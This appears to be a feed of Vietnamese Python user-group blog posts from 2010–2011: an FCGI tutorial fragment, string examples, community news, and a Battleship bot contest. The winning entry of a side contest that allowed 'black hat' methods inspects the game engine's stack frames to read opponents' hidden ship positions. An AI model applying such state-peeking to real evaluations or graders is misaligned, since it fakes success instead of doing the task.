tĩnh như hình ảnh, trang web tĩnh.</p>
<p>Chúng ta vừa xem qua mô hình hoạt động của FCGI. Đi sâu hơn vào cấu trúc từng ứng dụng FCGI thì dúng ta có ba phần chính sau:</p>
<blockquote>
<ul class="simple">
<li>Mã khởi tạo</li>
<li>Vòng lặp nhận yêu cầu</li>
<li>Xử lý yêu cầu và trả kết quả</li>
</ul>
</blockquote>
<p>Trong ví dụ về ứng dụng hiển thị số lượt truy cập, mã khởi tạo là việc khởi tạo biến đếm toàn cụ với giá trị 0.</p>
<p>Vòng lặp nhận yêu cầu thường là một vòng lặp vô hạn, tương tự như:</p>
<div class="highlight"><pre><span></span><span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">fcgi_accept</span><span class="p">()</span>
<span class="c1"># xử lý yêu cầu như CGI</span>
</pre></div>
<p>Trong khi yêu cầu được chấp nhận, thì dữ liệu nhập cũng được tách ra thành <strong>env-vars</strong>, <strong>stdin</strong>, <strong>stdout</strong>, và <strong>stderr</strong>. Điều này khiến cho việc xử lý yêu cầu của một ứng dụng FCGI không khác bao nhiêu so với việc xử lý của một ứng dụng CGI. Tất cả đều được thực hiện trên các biến môi trường, và các luồng chuẩn. Điều khác biệt đó là sau khi xử lý xong yêu cầu thì ứng dụng FCGI lại quay lại vòng lặp nhận yêu cầu mà không chấm dứt tiến trình như một ứng dụng CGI.</p>
<p>Vì không phải chấm dứt tiến trình sau mỗi yêu cầu nên các tiến trình FCGI có thể được "sử dụng lại". Một ứng dụng FCGI có thể được khởi tạo trước, với 10 tiến trình chẳng hạn, và đặt trong một bể (pool) tiến trình sẵn sàng. Khi có yêu cầu đến, thì máy chủ web có thể ngay lập tức lấy ra một tiến trình từ bể này, và gửi thông tin đến nó. Khi kết thúc xử lý yêu cầu, máy chủ web lại đưa tiến trình này vào bể. Việc khởi tạo trước tiết kiệm được thời gian khởi tạo ban đầu, nhưng sẽ chiếm bộ nhớ, ngay cả khi chưa có yêu cầu nào được nhận.</p>
<p>Sau đây là mô hình chi tiết của một ứng dụng FCGI.</p>
<img alt="" src="/static/web-programming/fcgi/detailed_lifecycle.png" />
<p>Hẹn gặp các bạn vào bài tới. Chúng ta sẽ viết thử một ứng dụng FCGI đơn giản với mô-đun <strong>fcgi</strong> của <strong>Allan Saddi</strong>.</p>
Thomas Heller ra đi2011-03-21T03:28:00+07:002011-03-21T03:28:00+07:00Nhóm PCNVtag:None,2011-03-21:2011/03/thomas-heller-ra-di.html<p>Ngày 19 tháng 03, Thomas Heller đã tự đề nghị nhóm phát triển Python tước quyền cập nhật của ông.</p>
<p>Thomas Heller là tác giả gói <strong>ctypes</strong>, được sử dụng rất nhiều trong việc kết nối Python với các thư viện ngoài.</p>
<p>Thomas ra đi vì không còn nhiều thời …</p><p>Ngày 19 tháng 03, Thomas Heller đã tự đề nghị nhóm phát triển Python tước quyền cập nhật của ông.</p>
<p>Thomas Heller là tác giả gói <strong>ctypes</strong>, được sử dụng rất nhiều trong việc kết nối Python với các thư viện ngoài.</p>
<p>Thomas ra đi vì không còn nhiều thời gian để cập nhật <strong>ctypes</strong> nữa. Và điều đó để lại một lỗ hổng to trong việc duy trì, sửa lỗi mô-đun quan trọng này.</p>
Hội thảo PyCon Châu Á Thái Bình Dương 20112011-02-14T11:07:00+07:002011-02-14T11:07:00+07:00Nhóm PCNVtag:None,2011-02-14:2011/02/hoi-thao-pycon-chau-a-thai-binh-duong-2011.html<img alt="" src="http://pycon.sit.rp.sg/logo.png" />
<p>Hội thảo PyCon APAC 2011 đã mở cửa kêu gọi bài đăng ký.</p>
<p>Để biết thêm chi tiết và gửi bài tham gia, hoặc đăng ký dự, các bạn hãy vào trang <a class="reference external" href="http://apac.pycon.org/">http://apac.pycon.org/</a>.</p>
<p>PCNV là một trong các nhóm hỗ trợ hội thảo.</p>
Làm việc với String (Python 3)2011-02-09T04:46:00+07:002011-02-09T04:46:00+07:00Nhóm PCNVtag:None,2011-02-09:2011/02/lam-viec-voi-string-python-3.html<p>So sánh cơ bản:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">A</span><span class="o">=</span><span class="s2">"caulacbopython"</span>
<span class="gp">>>> </span><span class="n">B</span><span class="o">=</span><span class="s2">"pythonviet"</span>
<span class="gp">>>> </span><span class="nb">print</span><span class="p">(</span><span class="n">A</span><span class="o">==</span><span class="n">B</span><span class="p">)</span>
<span class="go">False</span>
<span class="gp">>>> </span><span class="nb">print</span><span class="p">(</span><span class="n">A</span><span class="o">></span><span class="n">B</span><span class="p">)</span>
<span class="go">False</span>
<span class="gp">>>> </span><span class="nb">print</span><span class="p">(</span><span class="n">A</span><span class="o"><</span><span class="n">B</span><span class="p">)</span>
<span class="go">True</span>
</pre></div>
<p>Ghép chuỗi:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">A</span><span class="o">=</span><span class="s2">"Yeu"</span>
<span class="gp">>>> </span><span class="n">B</span><span class="o">=</span><span class="s2">"Python"</span>
<span class="gp">>>> </span><span class="n">A</span><span class="o">+</span><span class="n">B</span>
<span class="go">'YeuPython'</span>
</pre></div>
<p>Split: Hiểu nôm na, ta có một cái chuỗi dài. Giờ ta sẽ cắt nó thành nhiều khúc dài dài và …</p><p>So sánh cơ bản:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">A</span><span class="o">=</span><span class="s2">"caulacbopython"</span>
<span class="gp">>>> </span><span class="n">B</span><span class="o">=</span><span class="s2">"pythonviet"</span>
<span class="gp">>>> </span><span class="nb">print</span><span class="p">(</span><span class="n">A</span><span class="o">==</span><span class="n">B</span><span class="p">)</span>
<span class="go">False</span>
<span class="gp">>>> </span><span class="nb">print</span><span class="p">(</span><span class="n">A</span><span class="o">></span><span class="n">B</span><span class="p">)</span>
<span class="go">False</span>
<span class="gp">>>> </span><span class="nb">print</span><span class="p">(</span><span class="n">A</span><span class="o"><</span><span class="n">B</span><span class="p">)</span>
<span class="go">True</span>
</pre></div>
<p>Ghép chuỗi:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">A</span><span class="o">=</span><span class="s2">"Yeu"</span>
<span class="gp">>>> </span><span class="n">B</span><span class="o">=</span><span class="s2">"Python"</span>
<span class="gp">>>> </span><span class="n">A</span><span class="o">+</span><span class="n">B</span>
<span class="go">'YeuPython'</span>
</pre></div>
<p>Split: Hiểu nôm na, ta có một cái chuỗi dài. Giờ ta sẽ cắt nó thành nhiều khúc dài dài và sử dụng khúc nào đó thì tùy:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">A</span><span class="o">=</span><span class="s2">"Cau-Lac-Bo-Python-Viet"</span>
<span class="gp">>>> </span><span class="n">B</span><span class="o">=</span><span class="n">A</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'-'</span><span class="p">)</span>
<span class="gp">>>> </span><span class="n">B</span>
<span class="go">['Cau', 'Lac', 'Bo', 'Python', 'Viet']</span>
<span class="gp">>>> </span><span class="n">B</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="go">'Cau'</span>
<span class="gp">>>> </span><span class="n">B</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="go">'Lac'</span>
<span class="gp">>>> </span><span class="n">B</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
<span class="go">'Bo'</span>
</pre></div>
<p>Lấy 1 ký tự bất kì:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">chuoi</span><span class="o">=</span> <span class="s2">"NguyenMinhThe"</span>
<span class="gp">>>> </span><span class="nb">print</span><span class="p">(</span><span class="n">chuoi</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
<span class="go">u</span>
<span class="gp">>>> </span><span class="nb">print</span><span class="p">(</span><span class="n">chuoi</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="go">g</span>
</pre></div>
<p>Thay thế (Replace):</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">chuoi</span><span class="o">=</span><span class="s2">"MinhThe"</span>
<span class="gp">>>> </span><span class="nb">print</span><span class="p">(</span><span class="n">chuoi</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s1">'h'</span><span class="p">,</span><span class="s1">'H'</span><span class="p">))</span>
<span class="gp">>>> </span><span class="s1">'MinHTHe'</span>
</pre></div>
<p>Đếm số lần xuất hiện ký tự trong 1 chuỗi:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">ch</span><span class="o">=</span><span class="s2">"VithonViet"</span>
<span class="gp">>>> </span><span class="nb">print</span><span class="p">(</span><span class="n">ch</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="s1">'V'</span><span class="p">))</span>
<span class="go">2</span>
</pre></div>
<p>Trích từ bài gửi diễn đàn của <strong>Nguyễn Minh Thế</strong>.</p>
Kết quả 100 phát 100 trúng2010-12-21T04:38:00+07:002010-12-21T04:38:00+07:00Nguyễn Thành Namtag:None,2010-12-21:2010/12/ket-qua-100-phat-100-trung.html<p>Để tóm gọn và đỡ tốn thời gian, giải thưởng thuộc về Nhâm Xuân Nam (cũng là người thắng giải <a class="reference external" href="http://www.vithon.org/2010/06/03">http://www.vithon.org/2010/06/03</a>/kết-quả-cuộc-thi-giải-toan-bằng-python).</p>
<p>Sau đây là bài <strong>fire_in_the_hole.py</strong> của Nhâm Xuân Nam:</p>
<div class="highlight"><pre><span></span><span class="sd">'''</span>
<span class="sd">Created on Dec 15, 2010</span>
<span class="sd">@author: namnx</span>
<span class="sd">'''</span>
<span class="kn">import</span> <span class="nn">entity</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import …</span></pre></div><p>Để tóm gọn và đỡ tốn thời gian, giải thưởng thuộc về Nhâm Xuân Nam (cũng là người thắng giải <a class="reference external" href="http://www.vithon.org/2010/06/03">http://www.vithon.org/2010/06/03</a>/kết-quả-cuộc-thi-giải-toan-bằng-python).</p>
<p>Sau đây là bài <strong>fire_in_the_hole.py</strong> của Nhâm Xuân Nam:</p>
<div class="highlight"><pre><span></span><span class="sd">'''</span>
<span class="sd">Created on Dec 15, 2010</span>
<span class="sd">@author: namnx</span>
<span class="sd">'''</span>
<span class="kn">import</span> <span class="nn">entity</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">inspect</span>
<span class="k">class</span> <span class="nc">HolePlayer</span><span class="p">(</span><span class="n">entity</span><span class="o">.</span><span class="n">Player</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">name_ship</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">ship</span><span class="p">):</span>
<span class="n">n</span> <span class="o">=</span> <span class="nb">repr</span><span class="p">(</span><span class="n">ship</span><span class="o">.</span><span class="vm">__class__</span><span class="p">)</span>
<span class="k">return</span> <span class="n">n</span><span class="p">[</span><span class="n">n</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s1">'.'</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span> <span class="p">:</span> <span class="o">-</span><span class="mi">2</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">on_hit</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
<span class="c1"># dont care</span>
<span class="k">pass</span>
<span class="k">def</span> <span class="nf">orient_ship</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">ship</span><span class="p">):</span>
<span class="k">return</span> <span class="n">entity</span><span class="o">.</span><span class="n">HORIZONTAL</span>
<span class="k">def</span> <span class="nf">place_ship</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">ship</span><span class="p">):</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">ocean</span><span class="o">.</span><span class="n">width</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">ocean</span><span class="o">.</span><span class="n">height</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="bp">self</span><span class="o">.</span><span class="n">t_ocean</span><span class="p">:</span>
<span class="bp">self</span><span class="o">.</span><span class="n">t_ocean</span> <span class="o">=</span> <span class="n">entity</span><span class="o">.</span><span class="n">Ocean</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">ocean</span><span class="o">.</span><span class="n">width</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">ocean</span><span class="o">.</span><span class="n">height</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">ship</span><span class="o">.</span><span class="n">place</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">t_ocean</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span>
<span class="k">return</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span>
<span class="k">except</span> <span class="ne">ValueError</span><span class="p">:</span>
<span class="k">pass</span>
<span class="k">def</span> <span class="nf">lock_missile</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">ship</span><span class="p">):</span>
<span class="n">opponent_ships</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">get_opponent_ships</span><span class="p">()</span>
<span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">step</span> <span class="o"><</span> <span class="mi">4</span><span class="p">:</span>
<span class="k">if</span> <span class="n">ship</span><span class="o">.</span><span class="vm">__class__</span> <span class="o">==</span> <span class="n">entity</span><span class="o">.</span><span class="n">Destroyer</span><span class="p">:</span>
<span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="n">opponent_ships</span><span class="p">:</span>
<span class="k">if</span> <span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="vm">__class__</span> <span class="o">==</span> <span class="n">ship</span><span class="o">.</span><span class="vm">__class__</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">orientation</span> <span class="o">==</span> <span class="n">ship</span><span class="o">.</span><span class="n">orientation</span><span class="p">):</span>
<span class="k">break</span>
<span class="bp">self</span><span class="o">.</span><span class="n">step</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">return</span> <span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">x</span><span class="p">,</span> <span class="n">s</span><span class="o">.</span><span class="n">y</span><span class="p">)</span>
<span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="n">opponent_ships</span><span class="p">:</span>
<span class="k">if</span> <span class="n">s</span><span class="o">.</span><span class="vm">__class__</span> <span class="o">==</span> <span class="n">ship</span><span class="o">.</span><span class="vm">__class__</span><span class="p">:</span>
<span class="k">break</span><span class="p">;</span>
<span class="bp">self</span><span class="o">.</span><span class="n">step</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">return</span> <span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">x</span><span class="p">,</span> <span class="n">s</span><span class="o">.</span><span class="n">y</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="n">opponent_ships</span><span class="p">:</span>
<span class="k">if</span> <span class="n">s</span><span class="o">.</span><span class="vm">__class__</span> <span class="o">==</span> <span class="n">entity</span><span class="o">.</span><span class="n">MissileCruiser</span><span class="p">:</span>
<span class="k">break</span>
<span class="k">if</span> <span class="n">ship</span><span class="o">.</span><span class="vm">__class__</span> <span class="o">==</span> <span class="n">entity</span><span class="o">.</span><span class="n">MissileCruiser</span><span class="p">:</span>
<span class="k">if</span> <span class="n">s</span><span class="o">.</span><span class="n">orientation</span> <span class="o">==</span> <span class="n">entity</span><span class="o">.</span><span class="n">HORIZONTAL</span><span class="p">:</span>
<span class="k">return</span> <span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">x</span><span class="o">-</span><span class="mi">2</span><span class="p">,</span> <span class="n">s</span><span class="o">.</span><span class="n">y</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">x</span><span class="p">,</span> <span class="n">s</span><span class="o">.</span><span class="n">y</span><span class="o">-</span><span class="mi">2</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">if</span> <span class="n">s</span><span class="o">.</span><span class="n">orientation</span> <span class="o">==</span> <span class="n">entity</span><span class="o">.</span><span class="n">HORIZONTAL</span><span class="p">:</span>
<span class="k">return</span> <span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">x</span><span class="o">+</span><span class="mi">2</span><span class="p">,</span> <span class="n">s</span><span class="o">.</span><span class="n">y</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">x</span><span class="p">,</span> <span class="n">s</span><span class="o">.</span><span class="n">y</span><span class="o">+</span><span class="mi">2</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">get_opponent_ships</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">frames</span> <span class="o">=</span> <span class="n">inspect</span><span class="o">.</span><span class="n">stack</span><span class="p">()</span>
<span class="k">for</span> <span class="n">frame</span> <span class="ow">in</span> <span class="n">frames</span><span class="p">:</span>
<span class="k">if</span> <span class="n">frame</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'__turn'</span><span class="p">:</span>
<span class="k">break</span><span class="p">;</span>
<span class="n">gameObj</span> <span class="o">=</span> <span class="n">frame</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">f_locals</span><span class="p">[</span><span class="s1">'self'</span><span class="p">]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">gameObj</span><span class="o">.</span><span class="n">players</span><span class="p">)):</span>
<span class="k">if</span> <span class="n">gameObj</span><span class="o">.</span><span class="n">players</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">.</span><span class="vm">__class__</span> <span class="o">!=</span> <span class="bp">self</span><span class="o">.</span><span class="vm">__class__</span><span class="p">:</span>
<span class="k">break</span>
<span class="k">return</span> <span class="n">gameObj</span><span class="o">.</span><span class="n">ships</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">entry</span><span class="p">(</span><span class="n">name</span><span class="p">):</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">HolePlayer</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">t_ocean</span> <span class="o">=</span> <span class="kc">None</span>
<span class="n">p</span><span class="o">.</span><span class="n">step</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">return</span> <span class="n">p</span>
</pre></div>
<p>Xin chúc mừng bạn Xuân Nam.</p>
Giải phụ bách phát bách trúng2010-12-13T08:08:00+07:002010-12-13T08:08:00+07:00Nguyễn Thành Namtag:None,2010-12-13:2010/12/giai-phu-bach-phat-bach-trung.html<p>Cuộc tranh tài <a class="reference external" href="http://www.vithon.org/2010/12/13/kết-quả-bắn-suồng">Bắn Suồng</a> tuy đã kết thúc nhưng dư âm (và cả bao nỗi niềm ấm ức, tức tưởi) của nó vẫn còn vấn vương trong tâm trí các bạn tham gia.</p>
<p>Vì vậy, mình xin đề nghị một giải phụ của Bắn Suồng với thể lệ như …</p><p>Cuộc tranh tài <a class="reference external" href="http://www.vithon.org/2010/12/13/kết-quả-bắn-suồng">Bắn Suồng</a> tuy đã kết thúc nhưng dư âm (và cả bao nỗi niềm ấm ức, tức tưởi) của nó vẫn còn vấn vương trong tâm trí các bạn tham gia.</p>
<p>Vì vậy, mình xin đề nghị một giải phụ của Bắn Suồng với thể lệ như sau:</p>
<ol class="arabic simple">
<li>Nếu bạn tạo được một suồng "bách phát bách trúng", mình sẽ tặng áo với chữ ký của người sáng lập nhóm PCNV. Điều này cũng có nghĩa là có thể có nhiều hơn một bài thắng giải.</li>
<li>"Bách phát bách trúng" được hiểu theo nghĩa một phát bắn phải trúng ít nhất một tàu.</li>
<li>Bạn có thể sử dụng mọi kỹ thuật (mũ đen hay trắng) để làm việc này.</li>
<li>Thời hạn nhận bài là hết ngày 19 tháng 12 năm 2010.</li>
<li>Bài tham gia phải sử dụng ngôn ngữ Python làm ngôn ngữ chính, và nộp mã nguồn.</li>
<li>Bài tham gia gửi về cho admin+thư+rác@vithon.org (nhớ bỏ phần chống spam phía sau nhé).</li>
<li>Mình xin giữ toàn quyền quyết định kết quả.</li>
</ol>
<p>Chúc may mắn.</p>
Kết quả Bắn Suồng2010-12-13T07:54:00+07:002010-12-13T07:54:00+07:00Nguyễn Thành Namtag:None,2010-12-13:2010/12/ket-qua-ban-suong.html<p>Ngày hôm qua tại Đại học RMIT, nhóm PCNV đã tổ chức thi Bắn Suồng trực tiếp (cùng với việc truyền hình trực tiếp) cuộc tranh tài Bắn Suồng.</p>
<p>Kỳ thi này nhận được bốn bài tham dự: <strong>fire_sheep</strong>, <strong>checker</strong>, <strong>randome</strong>, và <strong>bibo</strong>. Tuy nhiên, bài <strong>bibo</strong> vì gửi vào …</p><p>Ngày hôm qua tại Đại học RMIT, nhóm PCNV đã tổ chức thi Bắn Suồng trực tiếp (cùng với việc truyền hình trực tiếp) cuộc tranh tài Bắn Suồng.</p>
<p>Kỳ thi này nhận được bốn bài tham dự: <strong>fire_sheep</strong>, <strong>checker</strong>, <strong>randome</strong>, và <strong>bibo</strong>. Tuy nhiên, bài <strong>bibo</strong> vì gửi vào 0152 sáng 12/12 nên đã bị loại.</p>
<p>Kết quả trận tranh tài căng thẳng, và đầy hồi hộp (lẫn may mắn) là:</p>
<ol class="arabic simple">
<li><strong>fire_sheep</strong> thắng <strong>checker</strong></li>
<li><strong>fire_sheep</strong> thua <strong>randome</strong></li>
<li><strong>checker</strong> thua <strong>randome</strong></li>
</ol>
<p>Như vậy, "suồng" randome đã đăng quang vô địch kỳ thi lần này. Tác giả của <strong>randome</strong>, không ai khác, chính là tác giả của tin này :-D.</p>
<p>Hẹn gặp các bạn vào những kỳ thi thú vị tới.</p>
<p>Tái bút: Mã nguồn của Bắn Suồng và các bài tranh tài có thể được tải về tại <a class="reference external" href="http://www.vithon.org/static/ban-suong.zip">http://www.vithon.org/static/ban-suong.zip</a>.</p>
Tranh tài Bắn Suồng2010-11-26T03:23:00+07:002010-11-26T03:23:00+07:00Nhóm PCNVtag:None,2010-11-26:2010/11/tranh-tai-ban-suong.html<p>Cập nhật: Phiên bản <tt class="docutils literal">battleship.zip</tt> cũ có lỗi. Các bạn tải về bản mới hoặc sửa dòng <tt class="docutils literal">player2_mod = __import__(opts.player_1)</tt> thành <tt class="docutils literal">player2_mod = __import__(opts.player_2)</tt>. Xin cáo lỗi vì sự phiền toái này.</p>
<p>Nhóm PCNV hân hạnh tổ chức một cuộc thi mới: <strong>Tranh tài Bắn Suồng!</strong></p>
<p>Bắn …</p><p>Cập nhật: Phiên bản <tt class="docutils literal">battleship.zip</tt> cũ có lỗi. Các bạn tải về bản mới hoặc sửa dòng <tt class="docutils literal">player2_mod = __import__(opts.player_1)</tt> thành <tt class="docutils literal">player2_mod = __import__(opts.player_2)</tt>. Xin cáo lỗi vì sự phiền toái này.</p>
<p>Nhóm PCNV hân hạnh tổ chức một cuộc thi mới: <strong>Tranh tài Bắn Suồng!</strong></p>
<p>Bắn Suồng (xin lỗi vì sai chính tả, nhưng để giữ chữ viết tắt BS nên tôi đành phải đặt tên trò chơi là vậy) không phải là một trò chơi thông thường. Để chơi trò chơi này, các bạn phải viết mã bằng ngôn ngữ... (cho xin 500 đồng trống và kèn cho hào hứng tí nào) Python để điều khiển các đối tượng trong trò chơi.</p>
<p>Các bạn có thể tải trò chơi về tại địa chỉ <a class="reference external" href="http://www.vithon.org/static/battleship.zip">http://www.vithon.org/static/battleship.zip</a>.</p>
<p>Cuộc thi Bắn Suồng được tổ chức với thể lệ như sau:</p>
<ol class="arabic simple">
<li>Mô-đun (các tập tin <strong>.py</strong>) tham gia phải gửi về cho admin+thư-rác@vithon.org (bỏ phần + thư rác) trước ngày 12 tháng 12 năm 2010.</li>
<li>Các bài thi này sẽ được kiểm tra trước khi được chấp nhận cho thi.</li>
<li>Các bài tham dự sẽ đấu vòng tròn tính điểm. Thắng sẽ được 3 điểm, hòa được 1, và thua được 0 điểm.</li>
<li>Các trận đấu sẽ được truyền hình (qua web) trực tiếp vào ngày 12 tháng 12.</li>
<li>Vùng biển sẽ có kích thước ngẫu nhiên với độ rộng và dài tối thiểu là 10, và tối đa là 15.</li>
<li>Một giải nhất sẽ nhận được 01 chiếc áo Vithon miễn phí, và có thể mua thêm 01 chiếc áo khác với giá ưu đãi <strong>100.000</strong>!</li>
<li>Quyết định của ban tổ chức là cuối cùng. Xin được phép không nhận khiếu nại.</li>
</ol>
<p>Để trao đổi về cuộc thi này, cũng như các vấn đề liên quan đến lập trình Python, các bạn có thể sử dụng <a class="reference external" href="forum.vithon.org">diễn đàn</a> của nhóm hoặc liên hệ qua IRC.</p>
<p>Nhóm PCNV rất mong nhận được sự tham gia nhiệt tình của các bạn.</p>
Áo Vithon thành phẩm2010-11-24T05:26:00+07:002010-11-24T05:26:00+07:00Nhóm PCNVtag:None,2010-11-24:2010/11/ao-vithon-thanh-pham.html<p>Sau một số trục trặc không lường trước, nhóm PCNV cũng đã nhận được áo Vithon thành phẩm từ nhà in. Nhóm xin được hân hạnh giới thiệu với các bạn một số ảnh chụp áo thật sau:</p>
<div class="figure">
<img alt="" src="http://va8.upanh.com/thumbpic/16.734.21073133.eds0/img20101124110821.700x0.jpg" />
<p class="caption"><a class="reference external" href="http://ca8.upanh.com/16.734.21073133.eds0/img20101124110821.jpg">Mặt trước</a></p>
</div>
<div class="figure">
<img alt="" src="http://va9.upanh.com/thumbpic/16.734.21073134.MGr0/img20101124110836.700x0.jpg" />
<p class="caption"><a class="reference external" href="http://ca9.upanh.com/16.734.21073134.MGr0/img20101124110836.jpg">Mặt sau</a></p>
</div>
<p>Nhóm PCNV xin cảm ơn nhóm mẫu Mập …</p><p>Sau một số trục trặc không lường trước, nhóm PCNV cũng đã nhận được áo Vithon thành phẩm từ nhà in. Nhóm xin được hân hạnh giới thiệu với các bạn một số ảnh chụp áo thật sau:</p>
<div class="figure">
<img alt="" src="http://va8.upanh.com/thumbpic/16.734.21073133.eds0/img20101124110821.700x0.jpg" />
<p class="caption"><a class="reference external" href="http://ca8.upanh.com/16.734.21073133.eds0/img20101124110821.jpg">Mặt trước</a></p>
</div>
<div class="figure">
<img alt="" src="http://va9.upanh.com/thumbpic/16.734.21073134.MGr0/img20101124110836.700x0.jpg" />
<p class="caption"><a class="reference external" href="http://ca9.upanh.com/16.734.21073134.MGr0/img20101124110836.jpg">Mặt sau</a></p>
</div>
<p>Nhóm PCNV xin cảm ơn nhóm mẫu Mập Ốm đã mua ủng hộ hai chiếc áo cỡ L và S để tạo ra được hai bức hình đẹp "rạng ngời" này. Một số người đã mặc áo đa số đều có chung nhận định áo mặc <strong>thoải mái lắm</strong>.</p>
<p>Áo sẽ được bán với giá <strong>185.000 đồng</strong> cho những người đang đi làm, và <strong>150.000 đồng</strong> cho các bạn học sinh, sinh viên đại học trở xuống. Tại TPHCM, mong các bạn ghé địa chỉ 224 Nguyễn Thái Bình, phường 12, quận Tân Bình, trong giờ làm việc từ thứ hai đến thứ sáu mỗi tuần. Các bạn ở tỉnh khác xin vui lòng liên lạc với nhóm PCNV.</p>
<p>Áo Vithon cũng sẽ được sử dụng làm <strong>giải thưởng</strong> cho những kỳ thi sắp tới của nhóm PCNV. Mong các bạn hăng hái tham gia giựt giải.</p>
Giới thiệu áo của nhóm PCNV2010-09-10T04:17:00+07:002010-09-10T04:17:00+07:00Nhóm PCNVtag:None,2010-09-10:2010/09/gioi-thieu-ao-cua-nhom-pcnv.html<p>Trong mấy tuần vừa qua, nhóm PCNV đã huy động toàn bộ sức lực để hoàn thành mẫu thiết kế áo thun chính thức của nhóm. Xin hân hạnh giới thiệu cùng các bạn thiết kế đầy ấn tượng này.</p>
<div class="figure">
<img alt="" src="/static/ao_vithon_truoc_thumb.png" />
<p class="caption"><a class="reference external" href="/static/ao_vithon_truoc.png">Mặt trước</a></p>
</div>
<div class="figure">
<img alt="" src="/static/ao_vithon_sau_thumb.png" />
<p class="caption"><a class="reference external" href="/static/ao_vithon_sau.png">Mặt sau</a></p>
</div>
<p>Hiện áo đang được đưa đi …</p><p>Trong mấy tuần vừa qua, nhóm PCNV đã huy động toàn bộ sức lực để hoàn thành mẫu thiết kế áo thun chính thức của nhóm. Xin hân hạnh giới thiệu cùng các bạn thiết kế đầy ấn tượng này.</p>
<div class="figure">
<img alt="" src="/static/ao_vithon_truoc_thumb.png" />
<p class="caption"><a class="reference external" href="/static/ao_vithon_truoc.png">Mặt trước</a></p>
</div>
<div class="figure">
<img alt="" src="/static/ao_vithon_sau_thumb.png" />
<p class="caption"><a class="reference external" href="/static/ao_vithon_sau.png">Mặt sau</a></p>
</div>
